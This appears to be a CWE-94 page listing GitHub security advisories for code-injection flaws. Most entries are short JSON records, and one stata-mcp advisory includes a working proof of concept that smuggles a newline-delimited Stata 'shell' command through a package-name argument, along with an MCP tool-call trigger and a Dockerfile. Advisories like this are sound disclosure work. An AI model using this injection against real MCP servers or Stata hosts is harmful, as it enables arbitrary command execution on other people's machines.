CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9394 vulnerabilities reference this CWE, most recent first.
GHSA-4965-F67J-6QHC
Vulnerability from github – Published: 2022-05-17 00:38 – Updated: 2022-05-17 00:38change.php in Ananta CMS 1.0b5, with magic_quotes_gpc disabled, allows remote attackers to gain administrator privileges via a crafted email parameter, possibly related to code injection.
{
"affected": [],
"aliases": [
"CVE-2008-6665"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-04-08T10:30:00Z",
"severity": "MODERATE"
},
"details": "change.php in Ananta CMS 1.0b5, with magic_quotes_gpc disabled, allows remote attackers to gain administrator privileges via a crafted email parameter, possibly related to code injection.",
"id": "GHSA-4965-f67j-6qhc",
"modified": "2022-05-17T00:38:43Z",
"published": "2022-05-17T00:38:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6665"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43119"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5824"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29752"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4967-53PF-WQ6X
Vulnerability from github – Published: 2025-09-09 03:30 – Updated: 2025-09-09 03:30SAP NetWeaver AS Java allows an attacker authenticated as a non-administrative user to use a flaw in an available service to upload an arbitrary file. This file when executed can lead to a full compromise of confidentiality, integrity and availability of the system.
{
"affected": [],
"aliases": [
"CVE-2025-42922"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T02:15:40Z",
"severity": "CRITICAL"
},
"details": "SAP NetWeaver AS Java allows an attacker authenticated as a non-administrative user to use a flaw in an available service to upload an arbitrary file. This file when executed can lead to a full compromise of confidentiality, integrity and availability of the system.",
"id": "GHSA-4967-53pf-wq6x",
"modified": "2025-09-09T03:30:19Z",
"published": "2025-09-09T03:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-42922"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3643865"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4993-4C8H-H8W5
Vulnerability from github – Published: 2025-07-25 18:30 – Updated: 2026-02-25 18:31An issue in Gardyn 4 allows a remote attacker execute arbitrary code
{
"affected": [],
"aliases": [
"CVE-2025-29631"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-25T17:15:31Z",
"severity": "CRITICAL"
},
"details": "An issue in Gardyn 4 allows a remote attacker execute arbitrary code",
"id": "GHSA-4993-4c8h-h8w5",
"modified": "2026-02-25T18:31:27Z",
"published": "2025-07-25T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29631"
},
{
"type": "WEB",
"url": "https://github.com/mselbrede/gardyn/blob/main/CVE-2025-29628_CVE-2025-29631.md"
},
{
"type": "WEB",
"url": "https://mygardyn.com/blog/security-update"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-055-03"
},
{
"type": "WEB",
"url": "http://gardyn.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4993-V2G9-96M4
Vulnerability from github – Published: 2026-01-08 21:30 – Updated: 2026-01-08 21:30JimuReport thru version 2.1.3 is vulnerable to remote code execution when processing user-controlled H2 JDBC URLs. The application passes the attacker-supplied JDBC URL directly to the H2 driver, allowing the use of certain directives to execute arbitrary Java code. A different vulnerability than CVE-2025-10770.
{
"affected": [],
"aliases": [
"CVE-2025-66913"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-08T20:15:44Z",
"severity": "CRITICAL"
},
"details": "JimuReport thru version 2.1.3 is vulnerable to remote code execution when processing user-controlled H2 JDBC URLs. The application passes the attacker-supplied JDBC URL directly to the H2 driver, allowing the use of certain directives to execute arbitrary Java code. A different vulnerability than CVE-2025-10770.",
"id": "GHSA-4993-v2g9-96m4",
"modified": "2026-01-08T21:30:34Z",
"published": "2026-01-08T21:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66913"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/jimureport/issues/4306"
},
{
"type": "WEB",
"url": "https://gist.github.com/Catherines77/f15d53e9705b24cf018e5bffed3e8234"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-49C9-9C2P-H2GM
Vulnerability from github – Published: 2022-05-02 03:48 – Updated: 2022-05-02 03:48Adobe Flash Player before 10.0.42.34 and Adobe AIR before 1.5.3 might allow attackers to execute arbitrary code via unspecified vectors, related to a "data injection vulnerability."
{
"affected": [],
"aliases": [
"CVE-2009-3796"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-12-10T19:30:00Z",
"severity": "HIGH"
},
"details": "Adobe Flash Player before 10.0.42.34 and Adobe AIR before 1.5.3 might allow attackers to execute arbitrary code via unspecified vectors, related to a \"data injection vulnerability.\"",
"id": "GHSA-49c9-9c2p-h2gm",
"modified": "2022-05-02T03:48:32Z",
"published": "2022-05-02T03:48:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3796"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=543857"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/54632"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16216"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7460"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7763"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2010/Jan/msg00000.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2009-12/msg00003.html"
},
{
"type": "WEB",
"url": "http://osvdb.org/60886"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37584"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37902"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/38241"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1023306"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1023307"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-77-1021716.1-1"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT4004"
},
{
"type": "WEB",
"url": "http://www.adobe.com/support/security/bulletins/apsb09-19.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2009-1657.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2009-1658.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/37199"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA09-343A.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/3456"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/0173"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-49F8-W2XP-H8GQ
Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33SAP AS ABAP(DMIS), versions - 2011_1_620, 2011_1_640, 2011_1_700, 2011_1_710, 2011_1_730, 2011_1_731, 2011_1_752, 2020 and SAP S4 HANA(DMIS), versions - 101, 102, 103, 104, 105, allows an authenticated attacker to inject arbitrary code into function module leading to code injection that can be executed in the application which affects the confidentiality, availability and integrity of the application.
{
"affected": [],
"aliases": [
"CVE-2020-26808"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-10T17:15:00Z",
"severity": "HIGH"
},
"details": "SAP AS ABAP(DMIS), versions - 2011_1_620, 2011_1_640, 2011_1_700, 2011_1_710, 2011_1_730, 2011_1_731, 2011_1_752, 2020 and SAP S4 HANA(DMIS), versions - 101, 102, 103, 104, 105, allows an authenticated attacker to inject arbitrary code into function module leading to code injection that can be executed in the application which affects the confidentiality, availability and integrity of the application.",
"id": "GHSA-49f8-w2xp-h8gq",
"modified": "2022-05-24T17:33:59Z",
"published": "2022-05-24T17:33:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26808"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/2973735"
},
{
"type": "WEB",
"url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=562725571"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/167229/SAP-Application-Server-ABAP-ABAP-Platform-Code-Injection-SQL-Injection-Missing-Authorization.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2022/May/42"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-49HW-3R7R-Q342
Vulnerability from github – Published: 2022-05-17 01:15 – Updated: 2022-05-17 01:15IBM Security AppScan Enterprise 8.5 before 8.5 IFix 002, 8.6 before 8.6 IFix 004, 8.7 before 8.7 IFix 004, 8.8 before 8.8 iFix 003, 9.0 before 9.0.0.1 iFix 003, and 9.0.1 before 9.0.1 iFix 001 allows remote attackers to execute arbitrary code via a crafted executable file in an archive.
{
"affected": [],
"aliases": [
"CVE-2014-6119"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-12-23T02:59:00Z",
"severity": "HIGH"
},
"details": "IBM Security AppScan Enterprise 8.5 before 8.5 IFix 002, 8.6 before 8.6 IFix 004, 8.7 before 8.7 IFix 004, 8.8 before 8.8 iFix 003, 9.0 before 9.0.0.1 iFix 003, and 9.0.1 before 9.0.1 iFix 001 allows remote attackers to execute arbitrary code via a crafted executable file in an archive.",
"id": "GHSA-49hw-3r7r-q342",
"modified": "2022-05-17T01:15:16Z",
"published": "2022-05-17T01:15:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-6119"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/96720"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/62012"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21693035"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21693183"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1031427"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-49J7-QGHP-5WJ8
Vulnerability from github – Published: 2022-05-17 04:17 – Updated: 2022-07-08 19:07Race condition in hawtjni-runtime/src/main/java/org/fusesource/hawtjni/runtime/Library.java in HawtJNI before 1.8, when a custom library path is not specified, allows local users to execute arbitrary Java code by overwriting a temporary JAR file with a predictable name in /tmp.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.fusesource.hawtjni:hawtjni-runtime"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2013-2035"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-08T19:07:06Z",
"nvd_published_at": "2013-08-28T23:55:00Z",
"severity": "MODERATE"
},
"details": "Race condition in hawtjni-runtime/src/main/java/org/fusesource/hawtjni/runtime/Library.java in HawtJNI before 1.8, when a custom library path is not specified, allows local users to execute arbitrary Java code by overwriting a temporary JAR file with a predictable name in /tmp.",
"id": "GHSA-49j7-qghp-5wj8",
"modified": "2022-07-08T19:07:06Z",
"published": "2022-05-17T04:17:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2035"
},
{
"type": "WEB",
"url": "https://github.com/jline/jline2/issues/85"
},
{
"type": "WEB",
"url": "https://github.com/jruby/jruby/issues/732"
},
{
"type": "WEB",
"url": "https://github.com/fusesource/hawtjni/commit/92c266170ce98edc200c656bd034a237098b8aa5"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-2035"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-1029.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-1784.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-1785.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-1786.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2014-0029.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2014-0245.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2014-0254.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2014-0400.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-0034.html"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/93411"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Improper Control of Generation of Code in HawtJNI"
}
GHSA-49JP-CGHC-P5PJ
Vulnerability from github – Published: 2023-12-30 06:30 – Updated: 2024-01-03 21:49SSTI injection vulnerability in jeecg-boot version 3.5.3, allows remote attackers to execute arbitrary code via crafted HTTP request to the /jmreport/loadTableData component.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jeecgframework.boot:jeecg-boot-common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-41544"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-03T21:49:53Z",
"nvd_published_at": "2023-12-30T04:15:08Z",
"severity": "CRITICAL"
},
"details": "SSTI injection vulnerability in jeecg-boot version 3.5.3, allows remote attackers to execute arbitrary code via crafted HTTP request to the /jmreport/loadTableData component.",
"id": "GHSA-49jp-cghc-p5pj",
"modified": "2024-01-03T21:49:53Z",
"published": "2023-12-30T06:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41544"
},
{
"type": "PACKAGE",
"url": "https://github.com/jeecgboot/jeecg-boot"
},
{
"type": "WEB",
"url": "https://pho3n1x-web.github.io/2023/09/18/CVE-2023-41544%28JeecgBoot_SSTI%29"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "JeecgBoot server-side template injection"
}
GHSA-49M4-VP58-WGC9
Vulnerability from github – Published: 2026-08-12 19:23 – Updated: 2026-08-12 19:23Stata Command Injection via Unsanitized package in ado_package_install
Summary
The ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. Base CVSS score is 8.4 (High).
Details
The vulnerability originates in SSC_Install.install():
# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16
def install(self, package: str) -> str:
install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
runner_result = self.controller.run(install_command)
The package parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:
# src/stata_mcp/stata/stata_controller/controller.py:98-99
# Send the command
self.child.sendline(command)
pexpect.sendline() writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's shell (and !) commands execute an OS shell command, a newline-delimited payload results in OS command execution.
The full source-to-sink data flow is:
- Exposure —
src/stata_mcp/mcp_servers.py:626-632:_TOOL_REGISTRYregistersado_package_installin theallprofile. - Default activation —
src/stata_mcp/cli/_handlers.py:295-300: when no--core/--allflag is given the profile defaults toall, so the tool is always enabled. - Propagation —
src/stata_mcp/mcp_servers.py:308-349: the MCP argumentpackageis passed toinstaller(...).install(*args)without validation. - Sink construction —
src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15:packageis interpolated intoinstall_command. - Delivery —
src/stata_mcp/stata/stata_controller/controller.py:99:self.child.sendline(command)sends the attacker-influenced string to Stata.
A guard/blacklist (src/stata_mcp/guard/blacklist.py:41-60) registers shell, !, winexec, unixcmd, and similar strings as dangerous commands, but the GuardValidator that enforces this list is invoked only on the stata_do path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.
PoC
Prerequisites
- Unix-like host with a configured Stata CLI, or use the provided Docker image which replaces the Stata binary with a minimal Python stub (
fake_stata.py) that honours theshellcommand.
Container-based reproduction (no Stata license required)
# Build (run from the repository root)
docker build -t stata-mcp-poc-001 \
-f vuln-001/Dockerfile \
reports/pypiAi_828_SepineTam__stata-mcp/
# Run
docker run --rm stata-mcp-poc-001
Direct Python trigger (unmodified source)
import os
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install
MARKER = "/tmp/stata_mcp_ado_poc"
PAYLOAD = f"outreg2\nshell touch {MARKER}\n//"
installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10)
installer.install(PAYLOAD)
assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED — marker file created")
The payload "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//" is expanded by the f-string at ssc_install.py:15 into:
ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace
Stata executes the second line as an OS shell command. The trailing // comment neutralises the , replace suffix so Stata does not raise a syntax error.
MCP JSON-RPC trigger
{
"tool": "ado_package_install",
"arguments": {
"source": "ssc",
"package": "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//",
"is_replace": true
}
}
Expected output
[+] PASS - RCE CONFIRMED
[+] Marker file exists: /tmp/stata_mcp_ado_poc
[+] The injected Stata 'shell' command was executed by the REPL.
Phase 2 dynamic reproduction confirmed the marker file /tmp/stata_mcp_ado_poc was created inside the Docker container, and install() returned a string containing the injected command:
Installation State: False
ssc install outreg2\r\nshell touch /tmp/stata_mcp_ado_poc\r\n//, replace
Impact
This is a Code/Command Injection (RCE) vulnerability. Any principal who can call the ado_package_install MCP tool or the equivalent Python API — including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed — can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server.
Because the tool is registered in the default all profile and all is the default active profile, no misconfiguration by the victim is required. All users of stata-mcp on the affected version who run stata-mcp server are impacted.
Concrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account.
Reproduction artifacts
Dockerfile
# Dockerfile for VULN-001 dynamic reproduction
# Build context must be the parent directory:
# docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile .
#
# Vulnerability: Stata Command Injection via unsanitized `package` in
# SSC_Install.install() (ssc_install.py:15).
#
# Strategy: replace the real Stata binary with a minimal Python script
# (fake_stata.py) that honours the 'shell <cmd>' Stata command.
# The vulnerable stata-mcp code is installed unmodified from the repo.
FROM python:3.11-slim
# Install pexpect -- the only runtime dependency required by the PoC
# (StataController imports pexpect; all other imports are stdlib-only).
RUN pip install --no-cache-dir pexpect==4.9.0
# ------------------------------------------------------------------
# Fake Stata binary
# ------------------------------------------------------------------
# Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover
# it and the PoC can reference it by absolute path.
COPY vuln-001/fake_stata.py /usr/local/bin/stata
RUN chmod +x /usr/local/bin/stata
# ------------------------------------------------------------------
# Vulnerable package (unmodified source)
# ------------------------------------------------------------------
COPY repo/src /workspace/src
ENV PYTHONPATH=/workspace/src
# ------------------------------------------------------------------
# PoC script
# ------------------------------------------------------------------
COPY vuln-001/poc.py /workspace/poc.py
WORKDIR /workspace
CMD ["python3", "/workspace/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Stata Command Injection via unsanitized `package` in
`ado_package_install` (SSC path).
Vulnerable code:
ssc_install.py:15
install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
controller.py:99
self.child.sendline(command)
Attack: embed a newline in `package` to inject an additional Stata command.
package = "outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//"
The constructed command string becomes:
ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace
pexpect delivers this multi-line string verbatim to the Stata REPL via
sendline(), causing Stata to execute 'shell touch /tmp/stata_mcp_ado_poc',
which runs the OS command 'touch /tmp/stata_mcp_ado_poc'.
Marker file creation confirms RCE.
"""
import os
import sys
FAKE_STATA = "/usr/local/bin/stata"
MARKER_FILE = "/tmp/stata_mcp_ado_poc"
# Payload: legit package name, then injected shell command, then comment to
# neutralise the ", replace" suffix appended by REPLACE_MESSAGE.
PAYLOAD = f"outreg2\nshell touch {MARKER_FILE}\n//"
def main() -> int:
print("=" * 60)
print("VULN-001 PoC: Stata Command Injection via ado_package_install")
print("=" * 60)
print(f"[*] Fake Stata binary : {FAKE_STATA}")
print(f"[*] Marker file : {MARKER_FILE}")
print(f"[*] Payload (repr) : {PAYLOAD!r}")
print()
# Clean up any previous run.
if os.path.exists(MARKER_FILE):
os.remove(MARKER_FILE)
print(f"[*] Removed pre-existing marker file.")
# Import the vulnerable class directly -- no MCP or config layer needed.
# The vulnerability lives entirely in SSC_Install.install() and the
# StataController that sends the command to the Stata REPL.
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install
print("[*] Instantiating SSC_Install with fake Stata binary...")
installer = SSC_Install(FAKE_STATA, is_replace=True, timeout=10)
print(f"[*] Calling install({PAYLOAD!r}) ...")
try:
result = installer.install(PAYLOAD)
print(f"[*] install() returned: {result[:200]!r}")
except Exception as exc:
# A RuntimeError from StataController is acceptable; the shell command
# may have already executed before the error is detected.
print(f"[!] install() raised (may be expected): {type(exc).__name__}: {exc}")
print()
# --- Verdict ---
if os.path.exists(MARKER_FILE):
print("[+] PASS - RCE CONFIRMED")
print(f"[+] Marker file exists: {MARKER_FILE}")
print("[+] The injected Stata 'shell' command was executed by the REPL.")
print("[+] Constructed command delivered via sendline():")
print("[+] ssc install outreg2")
print(f"[+] shell touch {MARKER_FILE} <-- OS command executed here")
print("[+] //")
return 0
else:
print("[-] FAIL - Marker file not found.")
print("[-] The injected shell command did not produce the expected artefact.")
return 1
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "stata-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55071"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-12T19:23:38Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Stata Command Injection via Unsanitized `package` in `ado_package_install`\n\n### Summary\n\nThe `ado_package_install` MCP tool in `stata-mcp` concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the `package` argument to inject arbitrary Stata commands. Because Stata supports a `shell` escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default `all` profile, so no non-default configuration is required. Base CVSS score is **8.4 (High)**.\n\n### Details\n\nThe vulnerability originates in `SSC_Install.install()`:\n\n```python\n# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16\ndef install(self, package: str) -\u003e str:\n install_command = f\"ssc install {package}{self.REPLACE_MESSAGE}\"\n runner_result = self.controller.run(install_command)\n```\n\nThe `package` parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:\n\n```python\n# src/stata_mcp/stata/stata_controller/controller.py:98-99\n# Send the command\nself.child.sendline(command)\n```\n\n`pexpect.sendline()` writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata\u0027s `shell` (and `!`) commands execute an OS shell command, a newline-delimited payload results in OS command execution.\n\nThe full source-to-sink data flow is:\n\n1. **Exposure** \u2014 `src/stata_mcp/mcp_servers.py:626-632`: `_TOOL_REGISTRY` registers `ado_package_install` in the `all` profile.\n2. **Default activation** \u2014 `src/stata_mcp/cli/_handlers.py:295-300`: when no `--core`/`--all` flag is given the profile defaults to `all`, so the tool is always enabled.\n3. **Propagation** \u2014 `src/stata_mcp/mcp_servers.py:308-349`: the MCP argument `package` is passed to `installer(...).install(*args)` without validation.\n4. **Sink construction** \u2014 `src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15`: `package` is interpolated into `install_command`.\n5. **Delivery** \u2014 `src/stata_mcp/stata/stata_controller/controller.py:99`: `self.child.sendline(command)` sends the attacker-influenced string to Stata.\n\nA guard/blacklist (`src/stata_mcp/guard/blacklist.py:41-60`) registers `shell`, `!`, `winexec`, `unixcmd`, and similar strings as dangerous commands, but the `GuardValidator` that enforces this list is invoked **only** on the `stata_do` path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.\n\n### PoC\n\n**Prerequisites**\n\n- Unix-like host with a configured Stata CLI, **or** use the provided Docker image which replaces the Stata binary with a minimal Python stub (`fake_stata.py`) that honours the `shell` command.\n\n**Container-based reproduction (no Stata license required)**\n\n```bash\n# Build (run from the repository root)\ndocker build -t stata-mcp-poc-001 \\\n -f vuln-001/Dockerfile \\\n reports/pypiAi_828_SepineTam__stata-mcp/\n\n# Run\ndocker run --rm stata-mcp-poc-001\n```\n\n**Direct Python trigger (unmodified source)**\n\n```python\nimport os\nfrom stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install\n\nMARKER = \"/tmp/stata_mcp_ado_poc\"\nPAYLOAD = f\"outreg2\\nshell touch {MARKER}\\n//\"\n\ninstaller = SSC_Install(\"/usr/local/bin/stata\", is_replace=True, timeout=10)\ninstaller.install(PAYLOAD)\n\nassert os.path.exists(MARKER), \"RCE not confirmed\"\nprint(\"RCE CONFIRMED \u2014 marker file created\")\n```\n\nThe payload `\"outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//\"` is expanded by the f-string at `ssc_install.py:15` into:\n\n```\nssc install outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//, replace\n```\n\nStata executes the second line as an OS shell command. The trailing `//` comment neutralises the `, replace` suffix so Stata does not raise a syntax error.\n\n**MCP JSON-RPC trigger**\n\n```json\n{\n \"tool\": \"ado_package_install\",\n \"arguments\": {\n \"source\": \"ssc\",\n \"package\": \"outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//\",\n \"is_replace\": true\n }\n}\n```\n\n**Expected output**\n\n```\n[+] PASS - RCE CONFIRMED\n[+] Marker file exists: /tmp/stata_mcp_ado_poc\n[+] The injected Stata \u0027shell\u0027 command was executed by the REPL.\n```\n\nPhase 2 dynamic reproduction confirmed the marker file `/tmp/stata_mcp_ado_poc` was created inside the Docker container, and `install()` returned a string containing the injected command:\n\n```\nInstallation State: False\nssc install outreg2\\r\\nshell touch /tmp/stata_mcp_ado_poc\\r\\n//, replace\n```\n\n### Impact\n\nThis is a **Code/Command Injection (RCE)** vulnerability. Any principal who can call the `ado_package_install` MCP tool or the equivalent Python API \u2014 including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed \u2014 can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server.\n\nBecause the tool is registered in the default `all` profile and `all` is the default active profile, **no misconfiguration by the victim is required**. All users of `stata-mcp` on the affected version who run `stata-mcp server` are impacted.\n\nConcrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n# Build context must be the parent directory:\n# docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile .\n#\n# Vulnerability: Stata Command Injection via unsanitized `package` in\n# SSC_Install.install() (ssc_install.py:15).\n#\n# Strategy: replace the real Stata binary with a minimal Python script\n# (fake_stata.py) that honours the \u0027shell \u003ccmd\u003e\u0027 Stata 